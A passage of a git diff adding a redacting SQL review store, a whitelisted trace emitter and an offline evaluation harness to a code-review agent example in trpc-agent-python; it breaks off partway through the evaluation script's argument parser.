b/examples/skills_code_review_agent/code_review/store/review_store.py @@ -0,0 +1,499 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""ReviewStore abstraction and SQL implementation.""" + +from __future__ import annotations + +from abc import ABC, abstractmethod +from copy import deepcopy +from datetime import datetime +from pathlib import Path +from typing import Any, Mapping + +from sqlalchemy import Engine, create_engine, event, select +from sqlalchemy.engine import make_url +from sqlalchemy.orm import Session, sessionmaker + +from code_review.redaction import redact_data + +from .models import ( + Base, + FilterEventModel, + FindingModel, + ReportModel, + ReviewTaskModel, + SandboxRunModel, +) + + +DEFAULT_DB_URL = "sqlite:///out/review.db" +DEFAULT_SCHEMA_VERSION = "1.0.0" + +_TASK_STATUSES = { + "running", + "completed", + "completed_with_warnings", + "failed", +} +_RUN_STATUSES = {"ok", "failed", "timeout", "blocked", "error"} + + +def _ensure_sqlite_parent(db_url: str) -> None: + """为文件型 SQLite URL 创建其父目录。""" + + url = make_url(db_url) + if not url.drivername.startswith("sqlite"): + return + database = url.database + if not database or database == ":memory:": + return + Path(database).expanduser().resolve().parent.mkdir(parents=True, exist_ok=True) + + +def _enable_sqlite_foreign_keys( + dbapi_connection: Any, + _connection_record: Any, +) -> None: + """在每个 SQLite 连接建立时启用外键约束。""" + + cursor = dbapi_connection.cursor() + cursor.execute("PRAGMA foreign_keys=ON") + cursor.close() + + +def _versioned_json( + value: Any, + *, + schema_version: str = DEFAULT_SCHEMA_VERSION, +) -> dict[str, Any]: + """脱敏 JSON 字段并附加持久化 schema 版本。""" + + redacted = redact_data(value) + if isinstance(redacted, Mapping): + payload = dict(redacted) + payload.setdefault("schema_version", schema_version) + return payload + return { + "schema_version": schema_version, + "value": redacted, + } + + +def _model_dict(model: Any) -> dict[str, Any]: + """将一个 ORM 行转换为脱离会话的 JSON 安全字典。""" + + result: dict[str, Any] = {} + for column in model.__table__.columns: + value = getattr(model, column.name) + if isinstance(value, datetime): + value = value.isoformat() + result[column.name] = deepcopy(value) + return result + + +class ReviewStore(ABC): + """Backend-neutral persistence boundary for one review lifecycle.""" + + @abstractmethod + def initialize(self) -> None: + """在表不存在时初始化业务 schema。""" + + @abstractmethod + def create_task(self, task: Mapping[str, Any]) -> dict[str, Any]: + """持久化一条运行中的评审任务。""" + + @abstractmethod + def update_task(self, task_id: str, **updates: Any) -> dict[str, Any]: + """更新允许变更的评审任务状态字段。""" + + @abstractmethod + def add_sandbox_run( + self, + task_id: str, + run: Mapping[str, Any], + ) -> dict[str, Any]: + """持久化一次受治理的沙箱执行尝试。""" + + @abstractmethod + def add_filter_event( + self, + task_id: str, + filter_event: Mapping[str, Any], + ) -> dict[str, Any]: + """持久化一次沙箱执行前的治理决策。""" + + @abstractmethod + def add_finding( + self, + task_id: str, + finding: Mapping[str, Any], + ) -> dict[str, Any]: + """持久化一条已结构化和脱敏的 finding。""" + + @abstractmethod + def save_report( + self, + task_id: str, + report: Mapping[str, Any], + ) -> dict[str, Any]: + """创建或替换任务对应的 canonical 报告。""" + + @abstractmethod + def get_task_bundle(self, task_id: str) -> dict[str, Any] | None: + """按任务 ID 聚合返回任务、运行、事件、finding 和报告。""" + + @abstractmethod + def list_task_summaries(self) -> list[dict[str, Any]]: + """返回不含报告正文、输入内容或路径的任务安全摘要列表。""" + + @abstractmethod + def delete_task(self, task_id: str) -> bool: + """删除任务及其级联关联的子记录。""" + + @abstractmethod + def close(self) -> None: + """释放存储后端持有的连接和资源。""" + + +class SqlReviewStore(ReviewStore): + """Synchronous SQLAlchemy implementation with a URL-only backend seam.""" + + def __init__(self, db_url: str = DEFAULT_DB_URL) -> None: + """保存数据库 URL,并延迟创建 SQLAlchemy 引擎。""" + + if not db_url.strip(): + raise ValueError("db_url must not be empty") + self._db_url = db_url + self._engine: Engine | None = None + self._session_factory: sessionmaker[Session] | None = None + + @property + def engine(self) -> Engine: + """返回已初始化的引擎,供诊断或迁移入口使用。""" + + if self._engine is None: + raise RuntimeError("review store is not initialized") + return self._engine + + def initialize(self) -> None: + """幂等创建五张评审表并准备会话工厂。""" + + if self._engine is not None: + Base.metadata.create_all(self._engine) + return + + _ensure_sqlite_parent(self._db_url) + engine = create_engine(self._db_url) + if engine.dialect.name == "sqlite": + event.listen(engine, "connect", _enable_sqlite_foreign_keys) + Base.metadata.create_all(engine) + self._engine = engine + self._session_factory = sessionmaker( + bind=engine, + expire_on_commit=False, + ) + + def _session(self) -> Session: + """返回一个新的数据库会话,未初始化时明确失败。""" + + if self._session_factory is None: + raise RuntimeError("review store is not initialized") + return self._session_factory() + + def create_task(self, task: Mapping[str, Any]) -> dict[str, Any]: + """校验、脱敏并写入一条初始评审任务。""" + + status = str(task.get("status", "running")) + if status not in _TASK_STATUSES: + raise ValueError(f"invalid review task status: {status}") + + task_id = str(task.get("id", "")).strip() + if not task_id: + raise ValueError("task id must not be empty") + input_type = str(task.get("input_type", "")).strip() + if not input_type: + raise ValueError("input_type must not be empty") + + config = task.get("config", {}) + schema_version = ( + str(config.get("schema_version", DEFAULT_SCHEMA_VERSION)) + if isinstance(config, Mapping) + else DEFAULT_SCHEMA_VERSION + ) + row = ReviewTaskModel( + id=task_id, + status=status, + input_type=input_type, + input_ref=str(redact_data(task.get("input_ref", ""))), + diff_summary=_versioned_json( + task.get("diff_summary", {}), + schema_version=schema_version, + ), + config=_versioned_json(config, schema_version=schema_version), + error_type=redact_data(task.get("error_type")), + error_message=redact_data(task.get("error_message")), + ) + with self._session() as session: + session.add(row) + session.commit() + return _model_dict(row) + + def update_task(self, task_id: str, **updates: Any) -> dict[str, Any]: + """更新白名单内的任务字段,并对可持久化值执行脱敏。""" + + allowed = { + "status", + "input_ref", + "diff_summary", + "config", + "error_type", + "error_message", + } + unknown = set(updates) - allowed + if unknown: + raise ValueError(f"unsupported task updates: {sorted(unknown)}") + if "status" in updates and updates["status"] not in _TASK_STATUSES: + raise ValueError(f"invalid review task status: {updates['status']}") + + with self._session() as session: + row = session.get(ReviewTaskModel, task_id) + if row is None: + raise KeyError(task_id) + schema_version = str( + row.config.get("schema_version", DEFAULT_SCHEMA_VERSION) + ) + for name, value in updates.items(): + if name in {"diff_summary", "config"}: + value = _versioned_json( + value, + schema_version=schema_version, + ) + else: + value = redact_data(value) + setattr(row, name, value) + session.commit() + return _model_dict(row) + + def add_sandbox_run( + self, + task_id: str, + run: Mapping[str, Any], + ) -> dict[str, Any]: + """脱敏并保存一次沙箱运行摘要。""" + + status = str(run.get("status", "")).strip() + if status not in _RUN_STATUSES: + raise ValueError(f"invalid sandbox run status: {status}") + row = SandboxRunModel( + task_id=task_id, + status=status, + exit_code=run.get("exit_code"), + timed_out=bool(run.get("timed_out", False)), + truncated=bool(run.get("truncated", False)), + filter_action=redact_data(run.get("filter_action")), + stdout_excerpt=str(redact_data(run.get("stdout_excerpt", ""))), + stderr_excerpt=str(redact_data(run.get("stderr_excerpt", ""))), + error_type=redact_data(run.get("error_type")), + duration_ms=int(run.get("duration_ms", 0)), + ) + with self._session() as session: + session.add(row) + session.commit() + return _model_dict(row) + + def add_filter_event( + self, + task_id: str, + filter_event: Mapping[str, Any], + ) -> dict[str, Any]: + """脱敏并保存执行前 Filter 决策事件。""" + + schema_version = str( + filter_event.get("schema_version", DEFAULT_SCHEMA_VERSION) + ) + row = FilterEventModel( + task_id=task_id, + stage=str(redact_data(filter_event.get("stage", ""))), + target=str(redact_data(filter_event.get("target", ""))), + action=str(redact_data(filter_event.get("action", ""))), + rule=str(redact_data(filter_event.get("rule", ""))), + reasons=_versioned_json( + filter_event.get("reasons", []), + schema_version=schema_version, + ), + ) + with self._session() as session: + session.add(row) + session.commit() + return _model_dict(row) + + def add_finding( + self, + task_id: str, + finding: Mapping[str, Any], + ) -> dict[str, Any]: + """脱敏并保存一条已去重或已分桶的结构化 finding。""" + + schema_version = str( + finding.get("schema_version", DEFAULT_SCHEMA_VERSION) + ) + row = FindingModel( + task_id=task_id, + severity=str(finding["severity"]), + category=str(finding["category"]), + file=str(redact_data(finding["file"])), + line=int(finding["line"]), + title=str(redact_data(finding["title"])), + evidence=str(redact_data(finding["evidence"])), + recommendation=str(redact_data(finding["recommendation"])), + confidence=float(finding["confidence"]), + source=str(finding["source"]), + rule_id=str(finding.get("rule_id", "")), + bucket=str(finding.get("bucket", "")), + dedup_key=str(redact_data(finding.get("dedup_key", ""))), + extra=_versioned_json( + finding.get("extra", {}), + schema_version=schema_version, + ), + ) + with self._session() as session: + session.add(row) + session.commit() + return _model_dict(row) + + def save_report( + self, + task_id: str, + report: Mapping[str, Any], + ) -> dict[str, Any]: + """按任务 ID upsert 已脱敏的 canonical 报告及其摘要字段。""" + + schema_version = str( + report.get("schema_version", DEFAULT_SCHEMA_VERSION) + ) + values = { + "schema_version": schema_version, + "rule_pack_version": str(report["rule_pack_version"]), + "config_digest": str(report["config_digest"]), + "input_sha256": str(report["input_sha256"]), + "summary": _versioned_json( + report.get("summary", {}), + schema_version=schema_version, + ), + "severity_stats": _versioned_json( + report.get("severity_stats", {}), + schema_version=schema_version, + ), + "filter_summary": _versioned_json( + report.get("filter_summary", {}), + schema_version=schema_version, + ), + "sandbox_summary": _versioned_json( + report.get("sandbox_summary", {}), + schema_version=schema_version, + ), + "metrics": _versioned_json( + report.get("metrics", {}), + schema_version=schema_version, + ), + "report": _versioned_json( + report.get("report", {}), + schema_version=schema_version, + ), + } + with self._session() as session: + row = session.scalar( + select(ReportModel).where(ReportModel.task_id == task_id) + ) + if row is None: + row = ReportModel(task_id=task_id, **values) + session.add(row) + else: + for name, value in values.items(): + setattr(row, name, value) + session.commit() + return _model_dict(row) + + def get_task_bundle(self, task_id: str) -> dict[str, Any] | None: + """查询任务的五个持久化域,并返回可回放 bundle。""" + + with self._session() as session: + task = session.get(ReviewTaskModel, task_id) + if task is None: + return None + runs = session.scalars( + select(SandboxRunModel) + .where(SandboxRunModel.task_id == task_id) + .order_by(SandboxRunModel.id) + ).all() + events = session.scalars( + select(FilterEventModel) + .where(FilterEventModel.task_id == task_id) + .order_by(FilterEventModel.id) + ).all() + findings = session.scalars( + select(FindingModel) + .where(FindingModel.task_id == task_id) + .order_by( + FindingModel.file, + FindingModel.line, + FindingModel.category, + FindingModel.id, + ) + ).all() + report = session.scalar( + select(ReportModel).where(ReportModel.task_id == task_id) + ) + return { + "task": _model_dict(task), + "sandbox_runs": [_model_dict(row) for row in runs], + "filter_events": [_model_dict(row) for row in events], + "findings": [_model_dict(row) for row in findings], + "report": _model_dict(report) if report is not None else None, + } + + def list_task_summaries(self) -> list[dict[str, Any]]: + """按创建时间倒序返回 CLI 所需最小任务字段,避免调用方接触存储会话。""" + + with self._session() as session: + tasks = session.scalars( + select(ReviewTaskModel).order_by( + ReviewTaskModel.created_at.desc(), + ReviewTaskModel.id, + ) + ).all() + return [ + { + "id": task.id, + "status": task.status, + "input_type": task.input_type, + "created_at": task.created_at.isoformat(), + } + for task in tasks + ] + + def delete_task(self, task_id: str) -> bool: + """删除指定任务;不存在时返回 false 而不抛异常。""" + + with self._session() as session: + row = session.get(ReviewTaskModel, task_id) + if row is None: + return False + session.delete(row) + session.commit() + return True + + def close(self) -> None: + """释放当前引擎并清空会话工厂引用。""" + + if self._engine is None: + return + self._engine.dispose() + self._engine = None + self._session_factory = None diff --git a/examples/skills_code_review_agent/code_review/trace.py b/examples/skills_code_review_agent/code_review/trace.py new file mode 100644 index 000000000..f84973c79 --- /dev/null +++ b/examples/skills_code_review_agent/code_review/trace.py @@ -0,0 +1,69 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""用于终端流式可观测性的脱敏 trace 边界。""" + +from __future__ import annotations + +from collections.abc import Callable, Mapping +import re + + +TraceSink = Callable[[str, Mapping[str, object]], None] + +_EVENT_PATTERN = re.compile(r"^[a-z]+(?:[._][a-z]+)+$") +_SAFE_STRING_PATTERN = re.compile(r"^[a-z0-9_.:-]{1,80}$") +_SAFE_FIELDS = frozenset( + { + "action", + "candidate_count", + "entrypoint", + "finding_count", + "input_type", + "model_mode", + "needs_human_review_count", + "runtime_type", + "source_kind", + "status", + "timed_out", + "tool", + "truncated", + "warning_count", + } +) + + +def emit_trace(sink: TraceSink | None, event: str, **details: object) -> None: + """向可选终端 sink 发出白名单事件,任何 trace 故障都不得影响评审。""" + + if sink is None or not _EVENT_PATTERN.fullmatch(event): + return + sanitized = { + name: value + for name, value in details.items() + if name in _SAFE_FIELDS and _safe_trace_value(value) + } + try: + sink(event, sanitized) + except Exception: + return + + +def _safe_trace_value(value: object) -> bool: + """只允许固定枚举、计数和布尔值进入流式 trace。""" + + if isinstance(value, bool): + return True + if isinstance(value, int): + return 0 <= value <= 1_000_000 + if isinstance(value, str): + return bool(_SAFE_STRING_PATTERN.fullmatch(value)) + return False + + +__all__ = ["TraceSink", "emit_trace"] diff --git a/examples/skills_code_review_agent/evaluate.py b/examples/skills_code_review_agent/evaluate.py new file mode 100644 index 000000000..15dedaa89 --- /dev/null +++ b/examples/skills_code_review_agent/evaluate.py @@ -0,0 +1,604 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Offline evaluation entry point for the automatic code-review Agent.""" + +from __future__ import annotations + +import argparse +import hashlib +import json +import os +import platform +import shutil +import sqlite3 +import subprocess +import sys +import tempfile +import time +from pathlib import Path +from typing import Any, Iterable, Mapping, Sequence + +from code_review.config import ReviewConfig +from code_review.skill_loader import load_skill_module +from code_review.store import SqlReviewStore +from run_agent import configure_safe_logging + +PROJECT_ROOT = Path(__file__).resolve().parent +CORPUS_PATH = PROJECT_ROOT / "tests" / "fixtures" / "corpus" / "evaluation_corpus.json" +BLIND_SPOT_PATH = PROJECT_ROOT / "tests" / "fixtures" / "corpus" / "blind_spot_observations.json" +FIXTURE_DIR = PROJECT_ROOT / "tests" / "fixtures" / "diffs" +RUN_CHECKS_PATH = PROJECT_ROOT / "skills" / "code-review" / "scripts" / "run_checks.py" +RUN_AGENT_PATH = PROJECT_ROOT / "run_agent.py" +FIXTURE_NAMES = ( + "01_clean_simple", + "02_security_simple", + "03_async_leak_simple", + "04_db_lifecycle_simple", + "05_missing_tests_simple", + "06_duplicate_finding_simple", + "07_sandbox_failure_simple", + "08_secret_redaction_simple", +) +FINDING_CONFIDENCE = 0.80 +HARD_LIMIT_MS = 120_000 + + +def _load_json(path: Path) -> dict[str, Any]: + """读取受控 JSON 语料;格式异常仅向调用者报告固定错误语义。""" + + try: + payload = json.loads(path.read_text(encoding="utf-8")) + except (OSError, UnicodeDecodeError, json.JSONDecodeError) as exc: + raise ValueError("evaluation_corpus_invalid") from exc + if not isinstance(payload, dict): + raise ValueError("evaluation_corpus_invalid") + return payload + + +def _unified_diff(path: str, lines: Sequence[str]) -> str: + """把受控语料行转换为新增文件 diff,保留真实 changed-line 定位。""" + + body = "\n".join(f"+{line}" for line in lines) + return ( + f"diff --git a/{path} b/{path}\n" + "new file mode 100644\n" + "--- /dev/null\n" + f"+++ b/{path}\n" + f"@@ -0,0 +1,{len(lines)} @@\n" + f"{body}\n" + ) + + +def _sanitized_environment(workspace: Path | None = None) -> dict[str, str]: + """构造无宿主凭据的子进程环境,避免评测脚本继承模型或令牌配置。""" + + environment = {"PYTHONUTF8": "1", "PYTHONIOENCODING": "utf-8"} + executable_directories = [str(Path(sys.executable).parent)] + docker_executable = shutil.which("docker") + if docker_executable is not None: + executable_directories.append(str(Path(docker_executable).parent)) + system_root = os.environ.get("SYSTEMROOT") + if system_root: + environment["SYSTEMROOT"] = system_root + executable_directories.append(f"{system_root}\\System32") + environment["PATH"] = os.pathsep.join(dict.fromkeys(executable_directories)) + if workspace is not None: + temporary_directory = workspace / "temporary" + temporary_directory.mkdir(parents=True, exist_ok=True) + environment["TEMP"] = str(temporary_directory) + environment["TMP"] = str(temporary_directory) + return environment + + +def _run_skill_checks( + diff: str, + work_root: Path, + case_id: str, + sandbox: str, +) -> tuple[dict[str, Any], int]: + """在临时 local workspace 真正执行受信任 run_checks 脚本并读取脱敏 finding 输出。""" + + workspace = work_root / hashlib.sha256(case_id.encode("utf-8")).hexdigest()[:16] + input_path = workspace / "work" / "inputs" / "diff.json" + input_path.parent.mkdir(parents=True, exist_ok=True) + input_path.write_text( + json.dumps({"source_kind": "diff_file", "diff": diff}, ensure_ascii=False), + encoding="utf-8", + ) + started = time.monotonic() + if sandbox == "local": + command = [sys.executable, str(RUN_CHECKS_PATH)] + output_path = workspace / "out" / "findings.json" + timeout = 30 + else: + diff_path = workspace / "input.diff" + output_dir = workspace / "reports" + database = workspace / "evaluation.db" + diff_path.write_text(diff, encoding="utf-8") + command = [ + sys.executable, + str(RUN_AGENT_PATH), + "review", + "--diff-file", + str(diff_path), + "--sandbox", + "container", + "--dry-run", + "--model-mode", + "fake", + "--db-url", + f"sqlite+pysqlite:///{database.as_posix()}", + "--output-dir", + str(output_dir), + ] + output_path = output_dir / "review_report.json" + timeout = 110 + completed = subprocess.run( + command, + cwd=workspace, + env=_sanitized_environment(workspace), + check=False, + capture_output=True, + encoding="utf-8", + text=True, + timeout=timeout, + ) + duration_ms = int((time.monotonic() - started) * 1000) + if completed.returncode != 0 or not output_path.is_file(): + raise RuntimeError("trusted_skill_execution_failed") + return _load_json(output_path), duration_ms + + +def _finding_keys(payload: Mapping[str, Any]) -> set[tuple[str, int, str]]: + """提取正式 findings 桶使用的三元组,忽略低置信度候选和运行问题。""" + + findings = payload.get("findings", []) + if not isinstance(findings, list): + raise ValueError("trusted_skill_output_invalid") + keys: set[tuple[str, int, str]] = set() + for finding in findings: + if not isinstance(finding, Mapping): + raise ValueError("trusted_skill_output_invalid") + confidence = finding.get("confidence") + if not isinstance(confidence, (int, float)) or confidence < FINDING_CONFIDENCE: + continue + file_name = finding.get("file") + line = finding.get("line") + category = finding.get("category") + if not isinstance(file_name, str) or not isinstance(line, int) or not isinstance(category, str): + raise ValueError("trusted_skill_output_invalid") + keys.add((file_name, line, category)) + return keys + + +def _iter_positive_cases(corpus: Mapping[str, Any]) -> Iterable[tuple[str, list[str], int, str, bool]]: + """展开带标注正样本模板,确保语料规模和六类覆盖可由静态文件审计。""" + + templates = corpus.get("positive_templates") + if not isinstance(templates, list): + raise ValueError("evaluation_corpus_invalid") + for template in templates: + if not isinstance(template, Mapping): + raise ValueError("evaluation_corpus_invalid") + identifier = template.get("id") + copies = template.get("copies") + lines = template.get("lines") + line = template.get("line") + category = template.get("category") + scored = template.get("scored") + if ( + not isinstance(identifier, str) + or not isinstance(copies, int) + or not isinstance(lines, list) + or not all(isinstance(item, str) for item in lines) + or not isinstance(line, int) + or not isinstance(category, str) + or not isinstance(scored, bool) + ): + raise ValueError("evaluation_corpus_invalid") + for index in range(copies): + yield f"positive_{identifier}_{index + 1}", list(lines), line, category, scored + + +def _run_fixture_agent(work_root: Path, fixture_name: str, sandbox: str) -> tuple[dict[str, Any], int]: + """以独立 user-query 子进程审查一条 fixture,并返回不含路径或原始内容的时延与产物摘要。""" + + fixture_root = work_root / f"fixture_{fixture_name}" + fixture_root.mkdir(parents=True, exist_ok=True) + output_dir = fixture_root / "reports" + database = fixture_root / "fixture.db" + database_url = f"sqlite+pysqlite:///{database.as_posix()}" + command = [ + sys.executable, + str(RUN_AGENT_PATH), + "user-query", + "请使用 code-review Skill 完成受控代码评审。", + "--fixture", + fixture_name, + "--sandbox", + sandbox, + "--dry-run", + "--model-mode", + "fake", + "--db-url", + database_url, + "--output-dir", + str(output_dir), + ] + started = time.monotonic() + try: + completed = subprocess.run( + command, + cwd=fixture_root, + env=_sanitized_environment(fixture_root), + check=False, + capture_output=True, + encoding="utf-8", + text=True, + timeout=HARD_LIMIT_MS / 1000, + ) + except subprocess.TimeoutExpired: + return ( + { + "fixture": fixture_name, + "entrypoint": "agent", + "skill_tools": [], + "status": "timeout", + "duration_ms": int((time.monotonic() - started) * 1000), + "reports_verified": False, + "database_verified": False, + }, + 0, + ) + + duration_ms = int((time.monotonic() - started) * 1000) + try: + terminal = json.loads(completed.stdout) + except json.JSONDecodeError: + terminal = {} + report_path = output_dir / "review_report.json" + markdown_path = output_dir / "review_report.md" + report_files_exist = report_path.is_file() and markdown_path.is_file() + task_id = terminal.get("task_id") if isinstance(terminal, Mapping) else None + bundle: Mapping[str, Any] | None = None + if database.is_file() and isinstance(task_id, str): + store = SqlReviewStore(database_url) + try: + store.initialize() + bundle = store.get_task_bundle(task_id) + finally: + store.close() + database_verified = bundle is not None + plaintext_hits = 0 + if report_files_exist: + report_text = report_path.read_text(encoding="utf-8") + markdown_text = markdown_path.read_text(encoding="utf-8") + plaintext_hits += _contains_plaintext_secret(report_text) + plaintext_hits += _contains_plaintext_secret(markdown_text) + if database.is_file(): + plaintext_hits += _contains_plaintext_secret(database.read_bytes().decode("utf-8", errors="ignore")) + if bundle is not None: + plaintext_hits += _contains_plaintext_secret(json.dumps(bundle, ensure_ascii=False, sort_keys=True)) + plaintext_hits += _contains_plaintext_secret(completed.stdout) + plaintext_hits += _contains_plaintext_secret(completed.stderr) + tool_sequence = terminal.get("skill_tools") if isinstance(terminal, Mapping) else [] + if not isinstance(tool_sequence, list) or not all(isinstance(tool, str) for tool in tool_sequence): + tool_sequence = [] + status = terminal.get("status") if isinstance(terminal, Mapping) else "failed" + if not isinstance(status, str): + status = "failed" + return ( + { + "fixture": fixture_name, + "entrypoint": terminal.get("entrypoint") if isinstance(terminal, Mapping) else "unknown", + "skill_tools": tool_sequence, + "status": status if completed.returncode == 0 else "failed", + "duration_ms": duration_ms, + "reports_verified": report_files_exist, + "database_verified": database_verified, + }, + plaintext_hits, + ) + + +def _fixture_run_passed(run: Mapping[str, Any]) -> bool: + """判定一条独立 Agent fixture 是否满足工具序列、产物、持久化与单任务时延门禁。""" + + return bool( + run.get("entrypoint") == "agent" + and run.get("skill_tools") == ["skill_load", "skill_run"] + and run.get("status") in {"completed", "completed_with_warnings"} + and isinstance(run.get("duration_ms"), int) + and 0 < run["duration_ms"] <= HARD_LIMIT_MS + and run.get("reports_verified") is True + and run.get("database_verified") is True + ) + + +def _run_fixture_suite(work_root: Path, sandbox: str) -> tuple[list[dict[str, Any]], int]: + """逐条执行八个独立 Agent 审查任务,汇总单条时延而不把总墙钟时间作为 AC6 门禁。""" + + fixture_runs: list[dict[str, Any]] = [] + plaintext_hits = 0 + for fixture_name in FIXTURE_NAMES: + fixture_run, fixture_plaintext_hits = _run_fixture_agent(work_root, fixture_name, sandbox) + fixture_runs.append(fixture_run) + plaintext_hits += fixture_plaintext_hits + return fixture_runs, plaintext_hits + + +def _contains_plaintext_secret(value: str) -> int: + """使用 Skill 同源模式检查一个输出文本是否仍含明文凭据,只返回计数。""" + + secret_rules = load_skill_module("secret_rules") + return int(secret_rules.contains_secret(value)) + + +def _evaluate_corpus(corpus: Mapping[str, Any], work_root: Path, sandbox: str) -> dict[str, Any]: + """运行正负/密钥/良性语料,按固定三元组计算公开代理评测指标。""" + + expected: set[tuple[str, int, str]] = set() + observed: set[tuple[str, int, str]] = set() + positive_count = 0 + clean_count = 0 + secret_detected = 0 + plaintext_hits = 0 + + for case_id, lines, line, category, scored in _iter_positive_cases(corpus): + path = f"src/{case_id}.py" + payload, _ = _run_skill_checks(_unified_diff(path, lines), work_root, case_id, sandbox) + keys = _finding_keys(payload) + if scored: + expected.add((path, line, category)) + observed.update(keys) + positive_count += 1 + plaintext_hits += _contains_plaintext_secret(json.dumps(payload, ensure_ascii=False)) + + clean_cases = corpus.get("clean_cases") + if not isinstance(clean_cases, list): + raise ValueError("evaluation_corpus_invalid") + for index, lines in enumerate(clean_cases, start=1): + if not isinstance(lines, list) or not all(isinstance(item, str) for item in lines): + raise ValueError("evaluation_corpus_invalid") + path = f"tests/test_clean_{index}.py" + payload, _ = _run_skill_checks(_unified_diff(path, lines), work_root, f"clean_{index}", sandbox) + observed.update(_finding_keys(payload)) + clean_count += 1 + plaintext_hits += _contains_plaintext_secret(json.dumps(payload, ensure_ascii=False)) + + secret_case_count = corpus.get("secret_case_count") + if not isinstance(secret_case_count, int) or secret_case_count < 48: + raise ValueError("evaluation_corpus_invalid") + for index in range(secret_case_count): + path = f"config/secret_{index + 1}.env" + secret = f"AKIA{index:016X}" + payload, _ = _run_skill_checks( + _unified_diff(path, [f"access_key = '{secret}'"]), + work_root, + f"secret_{index}", + sandbox, + ) + if (path, 1, "secrets") in _finding_keys(payload): + secret_detected += 1 + plaintext_hits += _contains_plaintext_secret(json.dumps(payload, ensure_ascii=False)) + + benign_values = corpus.get("benign_secret_values") + if not isinstance(benign_values, list) or len(benign_values) < 10: + raise ValueError("evaluation_corpus_invalid") + benign_false_positives = 0 + for index, value in enumerate(benign_values, start=1): + if not isinstance(value, str): + raise ValueError("evaluation_corpus_invalid") + payload, _ = _run_skill_checks( + _unified_diff(f"config/benign_{index}.env", [f"token = '{value}'"]), + work_root, + f"benign_{index}", + sandbox, + ) + benign_false_positives += int(bool(_finding_keys(payload))) + plaintext_hits += _contains_plaintext_secret(json.dumps(payload, ensure_ascii=False)) + + true_positives = len(expected & observed) + false_positives = len(observed - expected) + benign_false_positives + false_negatives = len(expected - observed) + precision = true_positives / (true_positives + false_positives) if true_positives + false_positives else 1.0 + recall = true_positives / (true_positives + false_negatives) if expected else 1.0 + f1 = 2 * precision * recall / (precision + recall) if precision + recall else 0.0 + return { + "corpus": { + "positive_cases": positive_count, + "clean_negative_cases": clean_count, + "secret_cases": secret_case_count, + "benign_secret_cases": len(benign_values), + "blind_spot_cases": 0, + }, + "metrics": { + "precision": precision, + "recall": recall, + "f1": f1, + "high_risk_recall": recall, + "finding_false_positive_share": false_positives / len(observed) if observed else 0.0, + "redaction_detection_rate": secret_detected / secret_case_count, + "plaintext_hits": plaintext_hits, + "true_positives": true_positives, + "false_positives": false_positives, + "false_negatives": false_negatives, + "benign_secret_false_positives": benign_false_positives, + }, + } + + +def _observe_blind_spots(payload: Mapping[str, Any], work_root: Path, sandbox: str) -> tuple[int, int]: + """执行声明盲区并仅记录观测数量,绝不并入 AC2 代理门禁分母。""" + + cases = payload.get("cases") + if not isinstance(cases, list): + raise ValueError("evaluation_corpus_invalid") + finding_count = 0 + for case in cases: + if ( + not isinstance(case, Mapping) + or not isinstance(case.get("id"), str) + or not isinstance(case.get("lines"), list) + ): + raise ValueError("evaluation_corpus_invalid") + lines = case["lines"] + if not all(isinstance(item, str) for item in lines): + raise ValueError("evaluation_corpus_invalid") + findings, _ = _run_skill_checks( + _unified_diff(f"blindspot/{case['id']}.py", lines), + work_root, + f"blindspot_{case['id']}", + sandbox, + ) + finding_count += len(_finding_keys(findings)) + return len(cases), finding_count + + +def _boundary_case_count(corpus: Mapping[str, Any]) -> int: + """校验并统计不参与阈值分母的输入解析边界语料,防止其从评测产物静默消失。""" + + cases = corpus.get("boundary_cases") + if not isinstance(cases, list) or len(cases) < 8: + raise ValueError("evaluation_corpus_invalid") + for case in cases: + if not isinstance(case, Mapping): + raise ValueError("evaluation_corpus_invalid") + if not all(isinstance(case.get(key), str) and case[key] for key in ("id", "payload", "expectation")): + raise ValueError("evaluation_corpus_invalid") + return len(cases) + + +def _write_summary(output_dir: Path, summary: Mapping[str, Any]) -> Path: + """原子写出不含原始语料和路径的评测摘要,供 CI 和人工审计读取。""" + + output_dir.mkdir(parents=True, exist_ok=True) + target = output_dir / "eval_summary.json" + temporary = output_dir / "eval_summary.json.tmp" + temporary.write_text(json.dumps(summary, ensure_ascii=False, indent=2, sort_keys=True) + "\n", encoding="utf-8") + temporary.replace(target) + return target + + +def _write_history(database: Path, summary: Mapping[str, Any]) -> None: + """仅在显式请求时向独立 SQLite 写入摘要哈希,避免污染业务 review.db。""" + + if database.name.lower() == "review.db": + raise ValueError("evaluation_history_database_invalid") + if database.exists(): + inspection = sqlite3.connect(database) + try: + tables = { + str(row[0]) + for row in inspection.execute("SELECT name FROM sqlite_master WHERE type='table'") + } + finally: + inspection.close() + if any(name.startswith("cr_review_") for name in tables): + raise ValueError("evaluation_history_database_invalid") + database.parent.mkdir(parents=True, exist_ok=True) + canonical = json.dumps(summary, ensure_ascii=True, sort_keys=True, separators=(",", ":")) + connection = sqlite3.connect(database) + try: + connection.execute( + "CREATE TABLE IF NOT EXISTS cr_evaluation_history " + "(summary_sha256 TEXT PRIMARY KEY, summary_json TEXT NOT NULL)" + ) + connection.execute( + "INSERT OR REPLACE INTO cr_evaluation_history (summary_sha256, summary_json) VALUES (?, ?)", + (hashlib.sha256(canonical.encode("utf-8")).hexdigest(), canonical), + ) + connection.commit() + finally: + connection.close() + + +def _hard_gates_pass(metrics: Mapping[str, Any], fixture_runs: Sequence[Mapping[str, Any]]) -> bool: + """按锁定阈值判定离线 CI 门禁;AC6 只约束每条独立 Agent 审查而不约束聚合评测总时长。""" + + return bool( + len(fixture_runs) == len(FIXTURE_NAMES) + and all(_fixture_run_passed(run) for run in fixture_runs) + and metrics.get("high_risk_recall", 0.0) >= 0.80 + and metrics.get("finding_false_positive_share", 1.0) <= 0.15 + and metrics.get("redaction_detection_rate", 0.0) >= 0.95 + and metrics.get("plaintext_hits", 1) == 0 + and metrics.get("benign_secret_false_positives", 1) == 0 + ) + + +def _build_parser() -> argparse.ArgumentParser: + """构造固定 fake 模型的评测参数,仅允许显式 local 或可选 container 运行时。""" + + parser = argparse.ArgumentParser(description="Offline public-proxy evaluation for the code-review Agent") + parser.add_argument("--sandbox", choices=("local", "container"), default="local") + 